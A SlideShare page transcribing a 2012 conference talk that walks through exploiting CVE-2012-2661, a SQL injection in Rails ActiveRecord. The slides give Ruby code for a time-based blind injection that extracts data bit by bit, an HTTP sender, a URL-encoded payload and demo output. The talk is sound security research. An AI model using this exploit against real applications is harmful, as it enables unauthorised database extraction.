Your SlideShare is downloading. ×
Ruxmon cve 2012-2661
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Ruxmon cve 2012-2661

120

Published on

Talk done in 2012 on CVE-2012-2661

Talk done in 2012 on CVE-2012-2661

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
120
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
1
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. CVE-2012-2661: ActiveRecord SQL Injection Louis Nyffenegger @snyff <louis.Nyffenegger@securusglobal.com>
  • 2. about()• Security consultant working for Securus Global in Melbourne• 2 sides projects: – PentesterLab: cool web training material – PNTSTR: easy first round for interview• Mostly doing web stuff...
  • 3. Ruby On Rails• Nice framework to build web application – MVC – Automatic object mapping – A lot of smart automation• Used by the cool kids... I guess• Written in Ruby... “yes like Metasploit”
  • 4. ActiveRecord• Automatic Object to Database mapping: – Like Hibernate if you speak Java• Used in most (all) Rails applications
  • 5. Lets start playing...• No public exploit at that time – Still no public exploit actually ;)• Seems annoying to exploit: – Avoid using HTTP to understand the vulnerability – avoid using HTTP to avoid mistakes – just create a simple script – and start testing
  • 6. # load the vulnerable libraryrequire active_record# connection to the databaseActiveRecord::Base.establish_connection( :adapter => "mysql2", :host => "localhost", :username => "pentesterlab", :database => "pentesterlab")# dummy classclass User < ActiveRecord::Baseend# start a ruby interactive shellrequire irbIRB.start()
  • 7. > User.where(:id => 1).all=> [#<User id: 1, login: "admin", password:"8efe310f9ab3efeae8d410a8e0166eb2", email:"admin@", info: "wrong emailaddress">]> User.where(:id => {:id => 1}).allActiveRecord::StatementInvalid: Mysql2::Error:Unknown column id.id in whereclause: SELECT `users`.* FROM `users` WHERE`id`.`id` = 1> User.where(:id => {users.id` => 1} ).allActiveRecord::StatementInvalid: Mysql2::Error:Unknown column users`.id in where clause:SELECT `users`.* FROM `users` WHERE`users```.`id` = 1
  • 8. > User.where(:id => {users.id` => 1} ).allActiveRecord::StatementInvalid: Mysql2::Error:Unknown column users.id` in where clause:SELECT `users`.* FROM `users` WHERE`users`.`id``` = 1> User.where(:id => {users.id => {1 =>1}} ).allActiveRecord::StatementInvalid: Mysql2::Error:Access denied for userpentesterlab@localhost to databaseusers: SHOW TABLES IN users LIKE id NOT THE SAME REQUEST ???
  • 9. We need to go deeper...
  • 10. 2 requests???• The first request is used to know if the table exists – It will then retrieve its schema• But we dont have access: – We can use information_schema (default mysql database)
  • 11. 2 requests???• But we are injecting in a show table request: – Show table accept where statement• But ActiveRecord is smart and use caching: – You cant ask the same thing twice – Unless... you dont ask in the same way
  • 12. How to avoid the caching?• Add a random number of spaces and <tab> for each request• Add a random number inside a SQL comment /* 1337 */ for each request• Add the current time in milliseconds inside a SQL comment for each request• Last solution is the best for sure – random != unique
  • 13. Creating two states (1/3)• To dump information, we need 2 states: – True – False• Unfortunately, we always get an error message in the following request: – But we can use time based exploitation
  • 14. Creating two states (2/3)• Most databases have a sleep statement (Mysql -> sleep)• 2 states: – True if the request is quick true or sleep(1) -> sleep 1 will not be reached – False if the request is slow false or sleep(1) -> sleep 1 will be reached
  • 15. Creating two states (3/3) • True:> User.where(:id =>{information_schema where (select 1)or sleep(1) ; -- .user => {id => 1}}).all • False:> User.where(:id =>{information_schema where (select 0)or sleep(1) ; -- .user => {id => 1}}).all
  • 16. Lets code thisdef test(sql) begin t = Time.now User.where(:id => {information_schema where (+sql+) or sleep(1/10) /*+Time.now.to_f.to_s+*/; • -- .user => {id => 1}}).all False: rescue ActiveRecord::StatementInvalid return Time.now - t < 1 endend
  • 17. Creating two states (3/3) • True:puts "test(select 1) returns #{test(select 1)}" • False:puts "test(select 0) returns #{test(select 0)}"
  • 18. And now...• 2 states, we are now working on a traditional blind SQL injection: – For each characters • For each bit of this character – Is the bit 0 or 1?
  • 19. Isolate each character• Mysql has a substring function Statement Result substring(5.0.4,1,1) 5 substring(5.0.4,2,1) . substring(5.0.4,3,1) 0 substring(5.0.4,1,3) 5.0• Now, we just need to call ascii() to get the ascii value of each character
  • 20. Isolate each bit• For each character, we can use bit masking to isolate a bit• Remember learning that at school... yes thats actually useful ;) & 0 1 0 0 0 1 0 1
  • 21. Bit masking 53 == 5 =1=2^0
  • 22. Bit masking 53 == 5 =2=2^1
  • 23. Bit masking 53 == 5 =4=2^2
  • 24. Lets code this• Use the test() function wrote previously• Loop on all the characters• Loop on all the bit for each character: – Each power of 2 from 0 to 6
  • 25. inj = "select @@version"str = ""value = 1i = 0while value != 0 # for each character i+=1 value = 0 0.upto(6) do |bit| # for each bit sql="select ascii(substr((#{inj}),#{i},1)) sql+= “&#{2**bit}" #bit masking if test(sql) # if the true value+=2**bit # add the mask value end end str+= value.chr # add the character puts str # to the stringend
  • 26. Demo...$ ruby cve-2012-2661-local.rb55.5.55.5.5.5.15.5.19 • False:5.5.19-5.5.19-l5.5.19-lo5.5.19-log5.5.19-log
  • 27. Moving to HTTP: 4 steps• Writing some HTTP related code• Correctly encode the hash• Correctly encode the injection• Debug all the mistakes done during the first 3 steps
  • 28. Sending HTTP requestrequire net/httpuri = URI.parse("http://vulnerable/"+inj)http = Net::HTTP.new(uri.host, uri.port)begin response = http.request( Net::HTTP::Get.new(uri.request_uri)) response = Net::HTTP.get_response(uri)# rescue in case of error# likely to happen with time based exploitationrescue Errno::ECONNRESET, EOFErrorend
  • 29. Encoding the hash • Our initial hash looks like:id => {information_schema where (select 0)or sleep(1/10) /*1338976181.408279*/ ; -- .user=> {id => 1}} • We can URL-encoded it this way:?id[information_schema%20where%20+(select+0)+or+sleep(1)%20/*1338976181408279*/%3b%20--%20.user][1]=1
  • 30. Moving to HTTP• Now just need to remember how to encode all the characters in the SQL injection: – ; needs to be encoded as %3b; – & needs to be encoded as %26; – = needs to be encoded as %3d; – needs to be encoded as + or %20.
  • 31. Demo...$ ruby cve-2012-2661-remote.rb55.5.55.5.5.5.15.5.19 • False:5.5.19-5.5.19-l5.5.19-lo5.5.19-log5.5.19-log
  • 32. Questions? Thanks Luke and Sebastienfor the help

×